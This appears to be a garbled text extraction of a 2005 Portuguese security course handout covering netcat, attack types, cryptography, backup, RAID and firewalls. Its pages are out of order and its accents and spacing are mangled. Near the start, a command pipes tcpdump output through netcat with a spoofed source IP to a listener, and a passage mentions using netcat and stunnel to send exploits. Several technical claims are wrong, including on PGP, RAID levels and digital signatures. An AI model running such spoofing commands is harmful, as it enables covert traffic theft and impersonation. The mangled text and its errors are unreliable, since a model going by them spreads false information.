ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 11: Curso de segurança em linux e redes em geral

acknowledgment ndash confirmaccedilatildeo de sincronizaccedilatildeo) Durante o ataque o hacker natildeoenvia a confirmaccedilatildeo (ACK) deixando o host aguardando com uma conexatildeo meioalertaQuando o host atinge seu limite de conexotildees ele passa a recusar quaisquerconexotildees que chegarem incluindo as vaacutelidas Estas conexotildees alertas iratildeo expiar oteacutermino do ataque e a negaccedilatildeo do serviccedilo terminaraacuteO anonimato de um ataque de Negaccedilatildeo de Serviccedilo torna-o um ataque poucovisiacutevel mas com elevados danos agrave publicidade e agrave imagem da empresaApesar de serem faacuteceis de se gerar satildeo difiacuteceis de se impedir a uacutenica coisa quepode ser feita eacute tornar sua rede mais difiacutecil de atacar e seus computadores de setornarem ZumbiProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 12 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200532) Estouro de BuffferBuffers satildeo aacutereas de armazenamento temporaacuterio1) Possui tamanho limitado2) Estou de Buffer ocorre quando os dados excedem o limite3) Os dados excelentes podem alterar outras regiotildees de dados incluindo as instruccedilotildees doPrograma4) Pode ser utilizado para executar coacutedigo malicioso e abrir acesso ao sistema5) Existem em todos os sistemasSoluccedilatildeo1) Validaccedilatildeo dos dados antes de serem enviados para o buffer2) Pode atrasar as transaccedilotildees e reduzir a largura da banda3) A validaccedilatildeo deve ser feita principalmente no servidor33) Vulnerabilidade no campo do formulaacuterio1) Principalmente nos campos ocultos2) Campos podem ser vistos selecionando as opccedilotildees ldquoEXIBIRCOacuteDIGO FONTErdquo3) O hacker pode alterar estes campos antes de submete-los ao site4) Formulaacuterios com coacutedigo de sessatildeo tambeacutem satildeo vulneraacuteveis a este ataque e poderiampermitir a um hacker apanhar a sessatildeo de um usuaacuterio realSoluccedilatildeo1) Todos os dados retornados para um formulaacuterio devem ser verificados para o servidor2) Incluindo aqueles que o usuaacuterio natildeo possui ldquoacessordquo direto3) Java Script no lado do cliente reduz o problema mas natildeo resolve pois pode serdesabilitado34) Modificaccedilatildeo do arquivo de Cookie1) Cookies satildeo arquivos texto que guardam as preferecircncias do usuaacuterio

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto cifrado41) Sistema Criptograacutefico

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

